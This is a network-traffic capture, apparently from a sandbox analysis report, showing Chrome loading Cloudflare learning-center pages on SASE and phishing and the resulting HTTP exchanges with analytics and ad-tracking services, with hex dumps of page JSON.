2024-10-18 13:48:14 UTC	404	IN	Data Raw: 37 62 65 63 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 77 68 61 74 2d 69 73 2d 73 61 73 65 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 68 65 61 64 65 72 44 61 74 61 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 47 72 6f 75 70 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a Data Ascii: 7bec{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-sase/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 69 6f 6e 54 79 70 65 22 3a 22 48 65 61 64 65 72 22 2c 22 69 73 44 65 66 61 75 6c 74 4e 61 76 22 3a 74 72 75 65 2c 22 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 6e 75 6c 6c 2c 22 73 65 63 74 69 6f 6e 50 61 64 64 69 6e 67 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 44 63 4b 33 33 42 55 45 75 7a 38 52 6c 6f 55 52 4e 4c 65 66 77 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 53 6f 6c 75 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 Data Ascii: ionType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 38 41 4f 43 55 71 68 45 4d 4f 42 74 34 44 51 5a 71 48 6a 63 4b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 44 61 74 61 20 63 6f 6d 70 6c 69 61 6e 63 65 20 26 20 70 72 6f 74 65 63 74 69 6f 6e 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 72 65 61 6d 6c 69 6e 65 20 63 6f 6d 70 6c 69 61 6e 63 65 20 61 6e 64 20 6d 69 6e 69 6d 69 Data Ascii: es":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","contentfulId":"8AOCUqhEMOBt4DQZqHjcK","locale":"en-US","title":"Data compliance & protection","description":"Streamline compliance and minimi
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 72 6b 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 26 20 72 65 6c 69 61 62 69 6c 69 74 79 20 6f 6e 20 61 20 67 6c 6f 62 61 6c 20 73 63 61 6c 65 22 2c 22 75 72 6c 22 3a 22 2f 6e 65 74 77 6f 72 6b 2d 73 65 72 76 69 63 65 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 37 36 30 32 52 44 54 70 51 31 70 50 Data Ascii: rks","description":"Network security, performance, & reliability on a global scale","url":"/network-services","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"7602RDTpQ1pP
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 71 41 73 6d 6b 6a 73 6d 69 42 5a 4b 66 62 73 67 48 47 36 31 38 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 64 75 63 61 74 69 6f 6e 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 61 63 61 64 65 6d 69 63 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 65 64 75 63 61 74 69 6f 6e 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c Data Ascii: lementNavLink","contentfulId":"1qAsmkjsmiBZKfbsgHG618","locale":"en-US","title":"Education","description":"For academic institutions","url":"https://www.cloudflare.com/education/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 35 6d 32 68 77 5a 62 70 79 33 5a 4c 6e 4d 73 38 52 43 43 35 54 39 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 4e 6f 6e 2d 70 72 6f 66 69 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 70 68 69 6c 61 6e 74 68 72 6f 70 69 63 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 67 61 Data Ascii: nkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"5m2hwZbpy3ZLnMs8RCC5T9","locale":"en-US","title":"Non-profit","description":"For philanthropic organizations","url":"https://www.cloudflare.com/ga
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 73 39 6d 67 57 49 79 46 4f 45 36 74 51 6c 68 39 46 56 38 50 4a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 41 74 68 65 6e 69 61 6e 20 50 72 6f 6a 65 63 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 68 75 6d 61 6e 69 74 61 72 69 61 6e 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 Data Ascii: "badges":null,"specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6s9mgWIyFOE6tQlh9FV8PJ","locale":"en-US","title":"Athenian Project","description":"For humanitarian organizations","url":"h
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 5d 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 5a 6b 31 43 37 54 70 33 53 45 6a 52 41 59 49 5a 64 5a 39 37 70 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 6f 6e 74 61 63 74 20 73 61 6c 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 2f 70 6c 61 6e 73 2f 65 6e 74 65 72 70 72 69 73 65 2f 63 6f 6e 74 61 63 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 22 43 54 41 Data Ascii: ionItems":[]}],"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"1Zk1C7Tp3SEjRAYIZdZ97p","locale":"en-US","title":"Contact sales","description":null,"url":"/plans/enterprise/contact/","badges":null,"specialLinkType":"CTA
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 67 46 47 72 74 51 44 57 6a 6c 54 33 65 5a 48 7a 63 62 36 67 31 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 46 6f 72 20 61 70 70 73 20 61 6e 64 20 69 6e 66 72 61 73 74 72 75 63 74 75 72 65 22 2c 22 64 Data Ascii: NewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"6gFGrtQDWjlT3eZHzcb6g1","locale":"en-US","name":"For apps and infrastructure","d
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 44 65 76 65 6c 6f 70 65 72 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 75 69 6c 64 20 61 6e 64 20 64 65 70 6c 6f 79 20 73 65 72 76 65 72 6c 65 73 73 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 20 77 69 74 68 20 73 63 61 6c 65 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 73 65 63 75 72 69 74 79 2c 20 61 6e 64 20 72 65 6c 69 61 62 69 6c 69 74 79 22 2c 22 75 72 6c 22 3a 22 2f 64 65 76 65 6c 6f 70 65 72 2d 70 6c 61 74 66 6f 72 6d 2f 70 72 6f 64 75 63 74 73 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c Data Ascii: "en-US","title":"Developer platform","description":"Build and deploy serverless applications with scale, performance, security, and reliability","url":"/developer-platform/products/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternal

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	50832	63.140.62.17	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	512	OUT	GET /ee/v1/identity/acquire?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=61504324-89aa-48d1-a803-dd688e086833 HTTP/1.1 Host: adobedc.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345
2024-10-18 13:48:14 UTC	434	IN	HTTP/1.1 404 Not Found x-request-id: 61504324-89aa-48d1-a803-dd688e086833 vary: Origin date: Fri, 18 Oct 2024 13:48:13 GMT x-konductor: 24.10.33:d373bbfda x-adobe-edge: IRL1;6 server: jag content-length: 0 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	50835	18.173.205.104	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	647	OUT	GET /bg9s?x-amz-cf-id=twqkbrkq8cJbikuKufjQSsYUM1QuSpMqCAhQmWdcTqeAWOXLBmrNWA==&api-version=v3 HTTP/1.1 Host: tag-logger.demandbase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	603	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 Connection: close Last-Modified: Tue, 07 Mar 2023 20:47:02 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 8SdDCdpJvGjkSiMFPv08XcVSgwOMVVmH Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 18 Oct 2024 04:39:19 GMT ETag: "d41d8cd98f00b204e9800998ecf8427e" Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 8d70d51432f10e2eca684af448a5f99e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P12 X-Amz-Cf-Id: XAOEmxJXyO0In2fonoqZyPBA0slqrxIXiJiqyguyGFrvPifW3wBMig== Age: 40969 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	50837	18.66.102.127	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	651	OUT	GET /api/v3/ip.json?referrer=https%3A%2F%2Fbookingadocel.com%2F&page=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&page_title=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare HTTP/1.1 Host: api.company-target.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=18ee9fe9-01ca-43a0-b773-2c99f76388ad; tuuid_lu=1729259293\|ix:0\|mctv:0\|rp:0
2024-10-18 13:48:14 UTC	489	IN	HTTP/1.1 401 Unauthorized Content-Type: text/plain;charset=utf-8 Content-Length: 12 Connection: close Date: Fri, 18 Oct 2024 13:48:14 GMT Vary: Origin Server: nginx WWW-Authenticate: DemandBase API X-Content-Type-Options: nosniff Request-ID: 5455a65f-ec36-4e70-b694-191ec78956a6 X-Cache: Error from cloudfront Via: 1.1 018ffb575888f1c9ec960e3e977c042e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: aCvZRiDq0aqRF8TuNiMY-GIR9ExCb6r8l8oPnESRdchHXMfYemmA_Q==
2024-10-18 13:48:14 UTC	12	IN	Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 Data Ascii: Unauthorized

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	50843	104.18.36.155	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	702	OUT	GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; CMPS=1085; CMPRO=1085
2024-10-18 13:48:14 UTC	990	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8d48fc2049a46be9-DFW CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; Path=/; Domain=casalemedia.com; Expires=Sat, 18 Oct 2025 13:48:14 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPRO=1085; Path=/; Domain=casalemedia.com; Expires=Thu, 16 Jan 2025 13:48:14 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bLmqDub1BWbpT8b5WwAeVzoa4J4F1tqfmOV2WF%2Fki%2Fbd3NmXcoJrJTxSjWG13EiFi3LhC3O%2FX8JK18fizb%2B8s5CjjwMLk3J4hw%2FhCWsBIGx%2FKREhZkVsI55LbR6yvYeaKUZiWD9Tu54cdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	50839	54.73.195.97	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	667	OUT	GET /ibs:dpid=411&dpuuid=ZxJnHQAAAKUlswN6 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345
2024-10-18 13:48:14 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 36+HcpGLQno= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v067-0237dd27c.edge-irl1.demdex.com 2 ms set-cookie: dpm=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:14 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:14 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-18 13:48:14 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	50842	192.28.144.124	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	980	OUT	POST /webevents/visitWebPage?_mchNc=1729259292940&_mchCn=&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Flearning%2Faccess-management%2Fphishing-attack%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A59028572615554561702300982760543860491&_mchHa=&_mchRe=https%3A%2F%2Fbookingadocel.com%2F&_mchQp= HTTP/1.1 Host: 713-xsc-918.mktoresp.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	241	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: close X-Request-Id: 4f689eed-cae4-4a70-91fa-bb108bb36dcb Access-Control-Allow-Origin: *
2024-10-18 13:48:15 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	50848	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	4043	OUT	GET /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:15 UTC	530	IN	HTTP/1.1 204 No Content Date: Fri, 18 Oct 2024 13:48:15 GMT Connection: close X-Robots-Tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CRxMn%2FvsvdlrhUU%2BpBix%2BKU4Q%2Fwed589pFF%2FYP%2Fs7G7QwIZPwFrQuX%2Bi%2FyFemE4cNxSpbUCX%2FbXD08TIKz%2FyzGlhoWyyeofG8jz%2FcLvnJDneyjxTWiQJI6vMnHeVoJglb5cqUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc21db0f2e5d-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	50841	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
